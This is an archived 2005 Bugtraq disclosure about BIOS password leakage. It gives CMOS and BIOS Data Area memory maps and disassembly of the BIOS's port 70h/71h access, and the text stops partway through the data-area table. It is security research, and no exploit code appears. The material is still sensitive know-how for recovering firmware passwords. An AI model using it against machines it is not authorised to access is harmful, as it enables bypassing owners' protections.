lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <20051213052418.03A3A5C01B@messel.emse.fr>
Date: Tue, 13 Dec 2005 06:25:11 +0100
From: "Jonathan Brossard" <jbrossar@...sel.emse.fr>
To: <bugtraq@...urityfocus.com>
Subject: Bios Information Leakage


Bios Manufacturers Warned : Yes
Feedback from Bios Manufacturers : None
CERT Warned : Yes
CERT Reference : VU#847537

|=-----------------------------------------------------------------------=|
|=-------------=[      BIOS Information Leakage      ]=------------------=|
|=-----------------------------------------------------------------------=|
|=----------------=[         by Endrazine         ]=---------------------=|
|=----------------=[   endrazine@...ltheplug.org  ]=---------------------=|
|=-----------------------------------------------------------------------=|





Plan :



 1 - Introduction


 2 - A Bios Overview


 3 - Physical Ports Acess : CMOS Phun


 4 - Physical memory access applyed to Keyboard buffer access


 5 - Final considerations


 6 - Greetings & References 


 7 - Appendix




--[ 1 - Introduction



About ten years ago, while I was a teenage student, I started programming
at school. I used to study Turbo Pascal, and since I was a real beginner,
I made several programming mistakes. I especially got a few segementation
faults which led to random memory dumps. No big deal at first sight.
But one of the dumps was interesting : it showed the Bios password in
plain text. So I knew this password was in plain text somewhere in
memory. Knowing an attack is possible is one thing, exploiting it is much
harder. Exploiting it using new techniques is even better : this is what
this paper will describe. 

Hence, the main goal of this article isn't to detail the Bios cracking
methodology but to use Bios cracking as a pretext to introduce little
known techniques to explore the content of a computer : physical ports
interfacing and physical memory reading and writing among others, which
are very little used today in the linux world.

After a Bios role overview discribing the the Bios structure, we will
focus on the main topic of this article : physical port communication
applyed to CMOS password tricks under Linux, and reading the password
from physical memory in the following section.

I insist that this paper doesn't aim at helping kids in gaining access to
computers : what matters here are the new techniques employed rather than
the lame actions you could do applying those techniques.

Every single piece of code has been tested both on a Toshiba laptop
(Toshiba Satellite Pro A60, 768 Mo RAM, Insyde Bios V190) running Debian
Linux (kernel 2.6.11) and a Desktop Computer (p100 MHz, 40Mo RAM, AWARD
Bios Modular 4.50pg) running Gentoo Linux (kernel 2.6.10). 99% of the
code granted to compile and run fine under root privileges.


To illustrate this article, I will provide exerpts from the disasm of my
own Bios (the toshiba laptop mentioned earlier : yeah, it's a cheap one,
send me money ;). Keep in mind that many Bios operations are very model
specific, so I encourage you to reverse your own Bios and to refer to
your mother board's data sheet for more accurate informations concerning
your own Bios ROM. I used sysodeco [1] to unpack my Bios and IDA 4.3
freeware edition [2] to disasemble the ROM. The ROM I used in this
article is uued as appendix. IDA generated asm code is also available on
request.



--[ 2 - A Bios Overview


I will detail the role of Bios through a boot process overview. This
exlpaination is not exhaustive. (I will give details about what is
relevant for the rest of my paper), but you can refer to Intel volume
III [3] to get more informations on this topic (the section detailling
the Northbrige should answer your questions).
Informations contained in this section are a combination of my own
experimentations along with four other sources : the "BIOS companion"
book [4], which is merely a compilation of motherboards data sheets, for
the figures, the "BIOS Survival Guide Version 5.4" [5] for additional
infos concerning the CMOS role, "Award BIOS Reverse Engineering" article
from Mappatutu Salihun Darmawan for code breakers[6], and of course Intel
volume III [3].

Mappatutu Salihun Darmawan's article is very complete and attempts to
explain how the Bios (which starts in protected mode) can switch to real
mode, and even run 32b instructions...

At boot time, a computer starts thanks to a piece of software stored as
ROM on the motherboard : the  Basic Input Output System (BIOS). The BIOS
configuration is stored in an other chip, called Complementary Metal 
Oxide Semi-conductor (CMOS). Since CMOS is not launched in RAM (your
computer RAM is not known by BIOS before a while anyway), accessing your
CMOS requires you to perform physical ports communications through ports
70h and 71h (we will see this in detail later, since this is the core of
this article).

The standard CMOS Map is provided below as figure 1 (based on infos from
the "Bios Companion Book").



figure 1 : CMOS MAP


Offset   Size    Function


0x00     1 byte  RTC seconds. Contains the seconds value of current
                  time. (BCD*)
0x01     1 byte  RTC seconds alarm. Contains the seconds value for the
                  RTC alarm (BCD*)
0x02     1 byte  RTC minutes. Contains the minutes value of the current
                  time (BCD*)
0x03     1 byte  RTC minutes alarm. Contains the minutes value for the
                  RTC alarm (BCD*)
0x04     1 byte  RTC hours. Contains the hours value of the current time
                  (BCD Format*)
0x05     1 byte  RTC hours alarm. Contains the hours value for the RTC a
                  larm (BCD*)
0x06     1 byte  RTC day of week. Contains the current day of the week
                  (1 .. 7, sunday=1)
0x07     1 byte  RTC date day. Contains day value of current date (BCD*)
0x08     1 byte  RTC date month. Contains the month value of current date
                  (BCD*)
0x09     1 byte  RTC date year. Contains the year value of current date
                  (BCD*)
0x0A     1 byte  Status Register A
                 Bit  7 = Update in progress 
                      0 = Date and time can be read
                      1 = Time update in progress
                 Bits 6-4 = Time frequency divider
                 Bits 3-0 = Rate selection frequency 

0x0B    1 byte  Status Register B
                 Bit 7 = Clock update cycle 
                   0 = Update normally
                   1 = Abort update in progress
                 Bit 6 = Periodic interrupt 
                   0 = Disable interrupt (default)
                   1 = Enable interrupt
                 Bit 5 = Alarm interrupt 
                   0 = Disable interrupt (default)
                   1 = Enable interrupt
                 Bit 4 = Update ended interrupt 
                   0 = Disable interrupt (default)
                   1 = Enable interrupt
                 Bit 3 = Status register A square wave frequency 
                   0 = Disable square wave (default)
                   1 = Enable square wave
                 Bit 2 = 24 hour clock 
                   0 = 24 hour mode (default)
                   1 = 12 hour mode
                 Bit 1 = Daylight savings time 
                   0 = Disable daylight savings (default)
                   1 = Enable daylight savings

0x0C    1 byte  Status Register C - Read only flags indicating system
                 status conditions
                 Bit  7   = IRQF flag
                 Bit  6   = PF flag
                 Bit  5   = AF flag
                 Bit  4   = UF flag
                 Bits 3-0 = Reserved

0x0D    1 byte  Status Register D - Valid CMOS RAM flag on bit 7 
                 (battery condition flag)
                 Bit 7 = Valid CMOS RAM flag 
                  0 = CMOS battery dead
                  1 = CMOS battery power good
                 Bit 6-0 = Reserved

0x0E    1 byte  Diagnostic Status
                 Bit 7 = Real time clock power status 
                  0 = CMOS has not lost power
                  1 = CMOS has lost power
                 Bit 6 = CMOS checksum status 
                  0 = Checksum is good
                  1 = Checksum is bad
                 Bit 5 = POST configuration information status 
                  0 = Configuration information is valid, 
                  1 = Configuration information in invalid
                 Bit 4 = Memory size compare during POST 
                  0 = POST memory equals configuration 
                  1 = POST memory not equal to configuration
                 Bit 3 = Fixed disk/adapter initialization 
                  0 = Initialization good
                  1 = Initialization bad
                 Bit 2 = CMOS time status indicator 
                  0 = Time is valid
                  1 = Time is invalid
                 Bit 1-0 = Reserved

0x0F    1 byte  CMOS Shutdown Status
                 00h = Power on or soft reset
                 01h = Memory size pass
                 02h = Memory test pass
                 03h = Memory test fail
                 04h = POST complete; boot system
                 05h = JMP double word pointer with EOI
                 06h = Protected mode tests pass
                 07h = protected mode tests fail
                 08h = Memory size fail
                 09h = Int 15h block move
                 0Ah = JMP double word pointer without EOI
                 0Bh = Used by 80386

0x10    1 byte  Floppy Disk Drive Types
                 Bits 7-4 = Drive 0 type
                 Bits 3-0 = Drive 1 type
                 0000 = None
                 0001 = 360KB
                 0010 = 1.2MB
                 0011 = 720KB
                 0100 = 1.44MB

0x11    1 byte  System Configuration Settings
                 Bit 7 = Mouse support disable/enable
                 Bit 6 = Memory test above 1MB disable/enable
                 Bit 5 = Memory test tick sound disable/enable
                 Bit 4 = Memory parity error check disable/enable
                 Bit 3 = Setup utility trigger display disable/enable
                 Bit 2 = Hard disk type 47 RAM area 
                 Bit 1 = Wait for<F1> if any error message disable/enable
                 Bit 0 = System boot up with Numlock (off/on status)

0x12    1 byte  Hard Disk Types
                 Bits 7-4 = Hard disk 0 type
                 Bits 3-0 = Hard disk 1 type
                 0000 = No drive installed
                 0001 = Type 1 installed
                 1110 = Type 14 installed
                 1111 = Type 16-47 (defined later in 19h)

0x13    1 byte  Typematic Parameters
                 Bit 7 = typematic rate programming disable/enabled
                 Bit 6-5 = typematic rate delay
                 Bit 4-2 = Typematic rate

0x14    1 byte  Installed Equipment
                 Bits 7-6 = Number of floppy disks 
                  00 = 1 floppy disk
                  01 = 2 floppy disks
                 Bits 5-4 = Primary display 
                  00 = Use display adapter BIOS
                  01 = CGA 40 column 
                  10 = CGA 80 column
                  11 = Monochrome Display Adapter
                 Bit 3 = Display adapter installed/not installed
                 Bit 2 = Keyboard installed/not installed
                 Bit 1 = math coprocessor installed/not installed
                 Bit 0 = Always set to 1

0x15    1 byte  Base Memory Low Order Byte - Least significant byte
0x16    1 byte  Base Memory High Order Byte - Most significant byte
0x17    1 byte  Extended Memory Low Order Byte - Least significant byte
0x18    1 byte  Extended Memory High Order Byte - Most significant byte

0x19    1 byte  Hard Disk 0 Extended Type - 
                 0x10h to 0x2Eh = Type 16 to 46 respectively
0x1A    1 byte  Hard Disk 1 Extended Type - 
                 0x10h to 0x2Eh = Type 16 to 46 respectively
0x1B    1 byte  User Defined Drive C: 
                 Number of cylinders least significant byte
0x1C    1 byte  User Defined Drive C: 
                 Number of cylinders most significant byte
0x1D    1 byte  User Defined Drive C: 
                 Number of heads
0x1E    1 byte  User Defined Drive C: 
                 Write precomp cylinder least significant byte
0x1F    1 byte  User Defined Drive C: 
                 Write precomp cylinder most significant byte
0x20    1 byte  User Defined Drive C: 
                 Control byte
0x21    1 byte  User Defined Drive C: 
                 Landing zone least significant byte
0x22    1 byte  User Defined Drive C: 
                 Landing zone most significant byte
0x23    1 byte  User Defined Drive C: 
                 Number of sectors

0x24    1 byte  User Defined Drive D: 
                 Number of cylinders least significant byte
0x25    1 byte  User defined Drive D: 
                 Number of cylinders most significant byte
0x26    1 byte  User Defined Drive D: 
                 Number of heads
0x27    1 byte  User Defined Drive D: 
                 Write precomp cylinder least significant byte
0x28    1 byte  User Defined Drive D: 
                 Write precomp cylinder most significant byte
0x29    1 byte  User Defined Drive D: 
                 Control byte
0x2A    1 byte  User Defined Drive D: 
                 Landing zone least significant byte
0x2B    1 byte  User Defined Drive D: 
                 Landing zone most significant byte
0x2C    1 byte  User Defined Drive D: 
                 Number of sectors

0x2D    1 byte  System Operational Flags
                 Bit 7 = Weitek processor present/absent
                 Bit 6 = Floppy drive seek at boot enable/disable
                 Bit 5 = System boot sequence
                 Bit 4 = System boot CPU speed high/low
                 Bit 3 = External cache enable/disable
                 Bit 2 = Internal cache enable/disable
                 Bit 1 = Fast gate A20 operation enable/disable
                 Bit 0 = Turbo switch function enable/disable

0x2E    1 byte  CMOS Checksum High Order Byte - Most significant byte
0x2F    1 byte  CMOS Checksum Low Order Byte - Least significant byte

0x30    1 byte  Actual Extended Memory Low Order Byte 
                 Least significant byte
0x31    1 byte  Actual Extended Memory High Order Byte 
                 Most significant byte
0x32    1 byte  Century Date BCD - Value for century of current date
0x33    1 byte  POST Information Flags
                 Bit 7 = BIOS length (64KB/128KB)
                 Bit 6-1 = reserved
                 Bit 0 = POST cache test passed/failed

0x34    1 byte  BIOS and Shadow Option Flags
                 Bit 7 = Boot sector virus protection disabled/enabled
                 Bit 6 = Password checking option disabled/enabled
                 Bit 5 = Adapter ROM shadow C800h (16KB) disabled/enabled
                 Bit 4 = Adapter ROM shadow CC00h (16KB) disabled/enabled
                 Bit 3 = Adapter ROM shadow D000h (16KB) disabled/enabled
                 Bit 2 = Adapter ROM shadow D400h (16KB) disabled/enabled
                 Bit 1 = Adapter ROM shadow D800h (16KB) disabled/enabled
                 Bit 0 = Adapter ROM shadow DC00h (16KB) disabled/enabled

0x35    1 byte  BIOS and Shadow Option Flags
                 Bit 7 = Adapter ROM shadow E000h (16KB) disabled/enabled
                 Bit 6 = Adapter ROM shadow E400h (16KB) disabled/enabled
                 Bit 5 = Adapter ROM shadow E800h (16KB) disabled/enabled
                 Bit 4 = Adapter ROM shadow EC00h (16KB) disabled/enabled
                 Bit 3 = System ROM shadow F000h (16KB) disabled/enabled
                 Bit 2 = Video ROM shadow C000h (16KB) disabled/enabled
                 Bit 1 = Video ROM shadow C400h (16KB) disabled/enabled
                 Bit 0 = Numeric processor test disabled/enabled

0x36    1 byte  Chipset Specific Information

0x37    1 byte  Password Seed and Color Option
                 Bit 7-4 = Password seed (do not change)
                 Bit 3-0 = Setup screen color palette
                     07h = White on black
                     70h = Black on white
                     17h = White on blue
                     20h = Black on green
                     30h = Black on turquoise
                     47h = White on red
                     57h = White on magenta
                     60h = Black on brown

0x38    6 byte  Encrypted Password
0x3E    1 byte  Extended CMOS Checksum - Most significant byte
0x3F    1 byte  Extended CMOS Checksum - Least significant byte
0x40    1 byte  Model Number Byte
0x41    1 byte  1st Serial Number Byte
0x42    1 byte  2nd Serial Number Byte
0x43    1 byte  3rd Serial Number Byte
0x44    1 byte  4th Serial Number Byte
0x45    1 byte  5th Serial Number Byte
0x46    1 byte  6th Serial Number Byte
0x47    1 byte  CRC Byte
0x48    1 byte  Century Byte
0x49    1 byte  Date Alarm
0x4A    1 byte  Extended Control Register 4A
0x4B    1 byte  Extended Control register 4B
0x4C    1 byte  Reserved
0x4D    1 byte  Reserved
0x4E    1 byte  Real Time Clock - Address 2
0x4F    1 byte  Real Time Clock - Address 3
0x50    1 byte  Extended RAM Address - Least significant byte
0x51    1 byte  Extended RAM Address - Most significant byte
0x52    1 byte  Reserved
0x53    1 byte  Extended RAM Data Port
0x54    1 byte  Reserved
0x55    1 byte  Reserved
0x56    1 byte  Reserved
0x57    1 byte  Reserved
0x58    1 byte  Reserved
0x59    1 byte  Reserved
0x5A    1 byte  Reserved
0x5B    1 byte  Reserved
0x5C    1 byte  Reserved
0x5D    1 byte  Reserved


NOTE : (*) The BCD format is used by Bios to store numbers. Numbers are
stored in hex format, but the upper nible contains the 10-digits, while
the lower one contains the 1-digits.


If you dump your Bios ROM or simply download a new one from your Bios
manufacturer and try to disassemble it, you will see that some parts
of your Bios are packed. Actually, if you launch such a ROM with IDA,
you'll see that the only non packed parts are unpacking routine.
Start by looking at the ASCII strings in your Bios and look for an
unpacker, or build a simple unpacker using those routines (as opposite
to ELF unpacking, you already know where to find those routines : they
are the only one you'll see as code :). Since I'm lazy, I first looked
at the strings in my ROM using the linux 'file' and 'strings' commands.
The interesting one for Toshba Bioses is this one :
"all rights reserved Insyde software Corp."
Insyde Software is a Bios manufacturer anciently known as System Soft.
So I searched for an unpacker (I told you, I am lazy) and found sysodeco
unpacker here [1]. If you plan to unpack yours, looking at "Advanced Bios
logo reader" (http://www.kaos.ru/biosgfx/index.html) [7] first can
be time saving : it contains unpackers for many Bioses.


When pushing the button, BIOS will perform
an analisys of the system components (I'll axplain this point later) and
initialize the video system. In my Bios, this is done this way :



  push   bp
  mov    bp, sp
  push   ax
  push   bx
  push   cx
  pushf
  cli
  mov   cx, 1
  mov   ax, 4F05h
  xor   bx, bx
  int   10h             ; - VIDEO - VESA SuperVGA BIOS - VESA SuperVGA BIOS
- CPU VIDEO MEMORY CONTROL
                        ; BL = 00h window A, 01h window B
                        ; Return: AL = 4Fh function supported
                        ; AH = 00h successful, 01h failed
                        ; BH = subfunctionselect video memory window
  cmp   ah, 4Fh
  jz    near ptr 45DDh
  loop  near ptr 45CCh
  mov   cx, 1
  mov   ax, 4F05h
  mov   bx, 1
  int   10h             ; - VIDEO - VESA SuperVGA BIOS -  VESA SuperVGA BIOS
- CPU VIDEO MEMORY CONTROL
                        ; BL = 00h window A, 01h window B
                        ; Return: AL = 4Fh function supported
                        ; AH = 00h successful, 01h failed
                        ; BH = subfunctionselect video memory window
  cmp   ax, 4Fh
  jz    near ptr 45ECh
  loop  near ptr 45DDh
  popf
  pop   cx
  pop   bx
  pop   ax
  leave

  retn





This process is known as POST (Power-On Self Test). This operation
is a crucial for your system since the BIOS will initialize important
periferals. I reallized that the BIOS gets those informations through
CMOS queries, as shown below, or through physical ports queries on
port 72h and 73h, which are used to access the extended RAM following
"Award BIOS Reverse Engineering" from Mappatutu Salihun Darmawan [6].


Here is how the Toshiba Bios accesses CMOS configurations :


  push    bp
  mov     bp, sp
  mov     al, [bp+4]
  out     70h, al     ; CMOS Memory:
                      ; used by real-time clock
  in      al, 71h     ; CMOS Memory
  leave
  retn


And  how it can access extended RAM to get Northbrige infos : 


  push    bp
  mov     bp, sp
  mov     al, [bp+4]
  or      al, 80h
  out     72h, al
  in      al, 73h
  leave
  retn


There is a Checksum at 0x2E in the CMOS that certifies it as not been
corrupted. The Bios will recalculate this checksum and set a flag in CMOS
at 0x0E if the checksum is wrong, then the CMOS is set back to its
default configuration.

The Bios will then ask you for a password. This password will be
compared with the one stored in CMOS at 0x38 (as shown in figure 1).
How is this done in detail ? To understand this magic, I need to
introduce one more structure, the Bios Data Area (BDA). (figure 2 is
also based on inforamations from the "Bios Companion Book").



figure 2 : Bios Data Area MAP


Offset  Size   Description

0x00 2  bytes  Base I/O address for serial port 1
                (communications port 1 - COM 1)
0x02 2  bytes  Base I/O address for serial port 2
                (communications port 2 - COM 2)
0x04 2  bytes  Base I/O address for serial port 3
                (communications port 3 - COM 3)
0x06 2  bytes  Base I/O address for serial port 4
                (communications port 4 - COM 4)
0x08 2  bytes  Base I/O address for parallel port 1
                (printer port 1 - LPT 1)
0x0A 2  bytes  Base I/O address for parallel port 2
                (printer port 2 - LPT 2)
0x0C 2  bytes  Base I/O address for parallel port 3
                (printer port 3 - LPT 3)
0x0E 2  bytes  Base I/O address for parallel port 4
                (printer port 4 - LPT 4)
0x10 2  bytes  Equipment Word
               Bits 15-14 indicate the number of parallel ports installed
                00b = 1 parallel port
                01b = 2 parallel ports 
                03b = 3 parallel ports 
               Bits 13-12 are reserved
               Bits 11-9 indicate the number of serial ports installed
                000b = none
                001b = 1 serial port
                002b = 2 serial ports
                003b = 3 serial ports
                004b = 4 serial ports
               Bit 8 is reserved
               Bit 7-6 indicate the number of floppy drives installed
                0b = 1 floppy drive
                1b = 2 floppy drives
               Bits 5-4 indicate the video mode
                00b = EGA or later
                01b = color 40x25
                10b = color 80x25
                11b = monochrome 80x25 
               Bit 3 is reserved
               Bit 2 indicates if a PS/2 mouse is installed
                0b = not installed
                1b = installed 
               Bit 1 indicated if a math coprocessor is installed
                0b = not installed
                1b = installed
               Bit 0 indicated if a boot floppy is installed
                0b = not installed
                1b = installed
0x12 1  byte   Interrupt flag - Manufacturing test
0x13 2  bytes  Memory size in Kb
0x15 2  bytes  Error codes for AT+
               Adapter memory size for PC and XT
0x17 1  byte   Keyboard shift flags 1
               Bit 7 indicates if Insert is on or off
                0b = Insert off
                1b = Insert on
               Bit 6 indicates if CapsLock is on or off
                0b = CapsLock off
                1b - CapsLock on
               Bit 5 indicates if NumLock is on or off
                0b = NumLock off 
                1b = NumLock on 
               Bit 4 indicates if ScrollLock is on or off 
                0b = ScrollLock off 
                1b = ScrollLock on
               Bit 3 indicates if the Alt key is up or down
                0b = Alt key is up
                1b = Alt key is down
               Bit 2 indicates if the Control key is up or down
                0b = Control key is up
                1b = Control key is down
               Bit 1 indicates if the Left Shift key is up or down
                0b = Left Shift key is up
                1b = Left Shift key is down
               Bit 0 indicates if the Right Shift key is up or down 
                0b = Right Shift key is up
                1b = Right Shift key is down
0x18 1  byte   Keyboard shift flags 2 
               Bit 7 indicates if the Insert key is up or down
                0b = Insert key is up 
                1b = Insert key is down 
               Bit 6 indicates if the CapsLock key is up or down
                0b = CapsLock is key is up
                1b = CapsLock key is down
               Bit 5 indicates if the NumLock key is up or down
                0b = NumLock key is up
                1b = Numlock key is down
               Bit 4 indicates if the ScrollLock key is up or down
                0b = ScrollLock key is up
                1b = ScrollLock key is down
               Bit 3 indicates if the Pause key is active or inactive
                0b = pause key is inactive
                1b = Pause key is active 
               Bit 2 indicates if the SysReg key is up or down
                0b = SysReg key is up 
                1b = SysReg key is down 
               Bit 1 indicates if the Left Alt key is up or down
                0b = Left Alt key is up
                1b = Left Alt key is down
               Bit 0 indicates if the Right Alt key is up or down
                0b = Right Alt key is up
                1b = Right Alt key is down
0x19 1  byte   Alt Numpad work area
0x1A 2  bytes  Pointer to the address of the next character in the
                keyboard buffer
0x1C 2  bytes  Pointer to the address of the last character in the
                keyboard buffer
0x1E 32 bytes  Keyboard buffer
0x3E 1  byte   Floppy disk drive calibration status
               Bits 7-4 are reserved
               Bit 3 = floppy drive 3 (PC, XT)
               Bit 2 = floppy drive 2 (PC, XT)
               Bit 1 = floppy drive 1
               Bit 0 = floppy drive 0
                0b indicates not calibrated 
                1b indicates calibrated
0x3F 1  byte   Floppy disk drive motor status
               Bit 7 indicates current operation    
                0b = read or verify operation 
                1b = write or format operation 
               Bit 6 is not used
               Bit 5-4 indicates drive select
                00b = Drive 0
                01b = Drive 1
                10b = Drive 2 (PC, XT) 
                11b = Drive 4 (PC, XT) 
               Bit 3 indicates drive 3 motor
                0b = motor off
                1b = motor on
               Bit 2 indicates drive 2 motor
                0b = motor off
                1b = motor on
               Bit 1 indicates drive 0 motor
                0b = motor off
                1b = motor on
                0b = motor off
                1b = motor on
0x40 1  byte   Floppy disk drive motor time-out
0x41 1  byte   Floppy disk drive status 
               Bit 7 indicates drive ready status
                0b = drive ready
                1b = drive not ready (time out)
               Bit 6 indicates seek status 
                0b = no seek error detected 
                1b = indicates a seek error was detected
               Bit 5 indicates floppy disk controller test
                0b = floppy disk controller passed
                1b = floppy disk controller failed
               Bit 4-0 error codes
                00000b = no errors
                00001b = illegal function requested
                00010b = address mark not found
                00011b = write protect error 
                00100b = sector not found
                00110b = diskette change line active
                01000b = DMA overrun
                01001b = DMA boundary error 
                01100b = unknown media type 
                10000b = CRC error during read
0x42 1  byte   Hard disk and floppy controller status register 0
               Bit 7-6 indicate the interrupt code
                00b = command completed normally 
                01b = command terminated abnormally 
                10b = abnormal termination, ready line on
                       or diskette changed
                11b = seek command not completed
               Bit 5 indicated seek command 
                0b = seek command not completed
                1b = seek command completed 
               Bit 4 indicated drive fault 
                0b = no drive fault
                1b = drive fault
               Bit 3 indicates drive ready 
                0b = drive ready
                1b = drive not ready
               Bit 2 indicates head state when interrupt occurred
                00b = drive 0
                01b = drive 1
                10b = drive 2 (PC, XT)
                11b = drive 3 (PC, XT) 
               Bit 1-0 indicates drive select
                00b = drive 0
                01b = drive 1
                10b = drive 2 (PC, XT) 
                11b = drive 3 (PC, XT) 
0x43 1  byte   Floppy drive controller status register 1
               Bit 7-0 indicates no error
               Bit 7, 1b = indicates attempted access beyond
                            last cylinder
               Bit 6, 0b = not used
               Bit 5, 1b = CRC error during read
               Bit 4, 1b = DMA overrun
               Bit 3, 0b = not used
               Bit 2, 1b = Sector not found or reading diskette ID failed
               Bit 1, 1b = medium write protected
               Bit 0, 1b = missing address mark
0x44 1  byte   Floppy drive controller status register 2
               Bit 7, 0b = not used
               Bit 6, 1b = deleted data address mark
               Bit 5, 1b = CRC error detected
               Bit 4, 1b = wrong cylinder
               Bit 3, 1b = condition of equal during verify
               Bit 2, 1b = sector not found during verify
               Bit 1, 1b = bad cylinder
               Bit 0, 1b = address mark not found during read
0x45 1  byte   Floppy disk controller: cylinder number
0x46 1  byte   Floppy disk controller: head number
0x47 1  byte   Floppy disk controller: sector number
0x48 1  byte   Floppy disk controller: number of byte written
0x49 1  byte   Active video mode setting
0x4A 2  bytes  Number of textcolumns per row for the active video mode
0x4C 2  bytes  Size of active video in page bytes 
0x4E 2  bytes  Offset address of the active video page relative to the
                start of video RAM
0x50 2  bytes  Cursor position for video page 0
0x52 2  bytes  Cursor position for video page 1
0x54 2  bytes  Cursor position for video page 2
0x56 2  bytes  Cursor position for video page 3
0x58 2  bytes  Cursor position for video page 4
0x5A 2  bytes  Cursor position for video page 5
0x5C 2  bytes  Cursor position for video page 6
0x5E 2  bytes  Cursor position for video page 7
0x60 2  bytes  Cursor shape
0x62 1  byte   Active video page
0x63 2  bytes  I/O port address for the video display adapter
0x65 1  byte   Video display adapter internal mode register
               Bit 7, 0b = not used
               Bit 6, 0b = not used
               Bit 5
                0b = attribute bit controls background intensity
                1b = attribute bit controls blinking
               Bit 4, 1b = mode 6 graphics operation
               Bit 3 indicates video signal
                0b = video signal disabled
                1b = video signal enabled
               Bit 2 indicates color operation
                0b = color operation
                1b = monochrome operation
               Bit 1, 1b = mode 4/5 graphics operation
               Bit 0, 1b = mode 2/3 test operation
0x66 1  byte  Color palette
               Bit 7, 0b = not used
               Bit 6, 0b = not used
               Bit 5 indicates mode 5 foreground    colors
                0b = green/red/yellow
                1b = cyan/magenta/white
               Bit 4 indicates background color
                0b = normal background color
                1b = intensified background color
               Bit 3 indicates intensified border color (mode 2) and
                      background color (mode 5)
               Bit 2 indicates red
               Bit 1 indicates green
               Bit 0 indicates blue
0x67 2  bytes  Adapter ROM offset address
0x69 2  bytes  Adapter ROM segment address
0x6B 1  byte   Last    interrupt (not PC)
               Bit 7 indicates IRQ 7 hardware interrupt
                0b = did not occur
                01 = did occur
               Bit 6 indicates IRQ 6 hardware interrupt
                0b = did not occur
                01 = did occur
               Bit 5 indicates IRQ 5 hardware interrupt
                0b = did not occur
                01 = did occur
               Bit 4 indicates IRQ 4 hardware interrupt
                0b = did not occur
                01 = did occur
               Bit 3 indicates IRQ 3 hardware interrupt
                0b = did not occur
                01 = did occur
               Bit 2 indicates IRQ 2 hardware interrupt
                0b = did not occur
                01 = did occur
               Bit 1 indicates IRQ 1 hardware interrupt
                0b = did not occur
                01 = did occur
               Bit 0 indicates IRQ 0 hardware interrupt
                0b = did not occur
                01 = did occur
0x6C 4  bytes  Counter for Interrupt 1Ah
0x70c  1  byte   Timer 24 hour flag
0x71 1  byte   Keyboard Ctrl-Break flag
0x72 2  bytes  Soft reset flag
0x74 1  byte   status of last hard disk operation
                00h = no errors
                01h = invalid function requested
                02h = address mark not found
                04h = sector not found
                05h = reset failed
                06h = removable media changed
                07h = drive parameter activity failed
                08h = DMA overrun
                09h = DMA boundary overrun
                0Ah = bad sector flag detected
                0Bh = bad track detected
                0Dh = invalid number of sectors on format
                0Eh = control data address mark detected
                0Fh = DMA arbitration level out of range
                10h = uncorrectable ECC or CRC error
                11h = ECC corrected data error
                20h = general controller failure
                40h = seek operation failed
                80h = timeout
                AAh = drive not ready
                BBh = undefined error occurred
                CCh = write fault on selected drive
                E0h = status error or error register is zero
                FFh = sense operation failed
0x75 1  byte   Number of hard disk drives
0x76 1  byte   Hard disk control byte
               Bit 7
                0b = enables retries on disk error
                1b = disables retries on disk error
               Bit 6
                0b = enables reties on disk error
                1b = enables reties on disk error
               Bit 5, 0b = not used
               Bit 4, 0b = not used
               Bit 3
                0b = drive has less than 8 heads
                1b = drive has more than 8 heads
               Bit 2, 0b = not used
               Bit 1, 0b = not used
               Bit 0, 0b = not used
0x77 1  byte   Offset    address of hard disk I/O port (XT)
0x78 1  byte   Parallel port 1 timeout
0x79 1  byte   Parallel port 2 timeout
0x7A 1  byte   Parallel port 3 timeout
0x7B 1  byte   Parallel port 4 timeout (PC, XT) support for virtual DMA
                services (VDS)
               Bit 7, 0b = not used
               Bit 6, 0b = not used
               Bit 5 indicates virtual DMA services
                0b = not supported
                1b = supported
               Bit 4, 0b = not used
               Bit 3 indicates chaining on interrupt 4Bh
                0b = not    required
                1b = required
               Bit 2, 0b = not used
               Bit 1, 0b = not used
               Bit 0, 0b = not used
0x7C 1  byte   serial port 1 timeout
0x7D 1  byte   serial port 2 timeout
0x7E 1  byte   serial port 3 timeout
0x7F 1  byte   serial port 4 timeout
0x80 2  bytes  Starting address of keyboard buffer
0x82 2  bytes  Ending address of keyboard buffer
0x84 1  byte   Number of video rows (minus 1)
0x85 2  bytes  Number of scan lines per character
0x87 1  byte   Video display adapter options
               Bit 7 indicates bit 7 of the last    video mode
                0b = clear display buffer when setting mode
                1b = do not clear the display buffer
               Bit 6-4 indicates the amount of memory on the video
                        display adapter
                000b = 64Kb
                001b = 128Kb
                010b = 192Kb
                011b = 256Kb
                100b = 512Kb
                110 = 1024Kb or more
               Bit 3 indicates video subsystem
                0b = not active
                1b = active
               Bit 2 is reserved
               Bit 1 indicates monitor type
                0b = color
                1b = monochrome
               Bit 0 indicates alphanumeric cursor emulation
                0b = disabled
                1b = enabled
0x88 1  byte   Video display adapter switches
               Bit 7 indicates state of feature connector line 1 
               Bit 6 indicates state of feature connector line 0 
               Bit 5-4 not used
               Bit 3-0 indicate adapter type switch settings
                0000b = MDA/color 40x25
                0001b = MDA/color 80x25
                0010b = MDA/high-resolution 80x25
                0011b = MDA/high-resolution enhanced
                0100b = CGA 40x25/monochrome
                0101b = CGA 80x25/monochrome
                0110b = color 40x25/MDA
                0111b = color 80x25/MDA
                1000b = high-resolution 80x25/MDA
                1001b = high-resolution enhanced/MDA
                1010b = monochrome/CGA 40x25
                1011b = monochrome/CGA 80x25
0x89 1  byte   VGA video flags 1
               Bit 7 and 4 indicate scanline mode
                00b = 350-line mode
                01b = 400-line mode
                10b = 200-line mode
               Bit 6 indicates display switch
                0b = disabled
                1b = enabled
               Bit 5 is reserved
               Bit 3 indicates default palette loading
                0b = disabled
                1b= enabled
               Bit 2 indicates monitor type
                0b = color
                1b = monochrome
               Bit 1 indicates gray scale summing
                0b = disabled
                1b = enabled
               Bit 0 indicates VGA active state
                0b = VGA inactive
                1b = VGA active
0x8A 1  byte   VGA video flags 2
0x8B 1  byte   Floppy disk configuration data
               Bit 7-6 indicate last data sent to the controller
                00b = 500 Kbit/sec/sec
                01b = 300 Kbit/sec
                10b = 250 Kbit/sec
                11b = rate not set or 1 Mbit/sec
               Bit 5-4 indicate last drive steprate sent to the
                        controller 
                00b = 8ms
                01b = 7ms
                10b = 6ms
                11b = 5ms
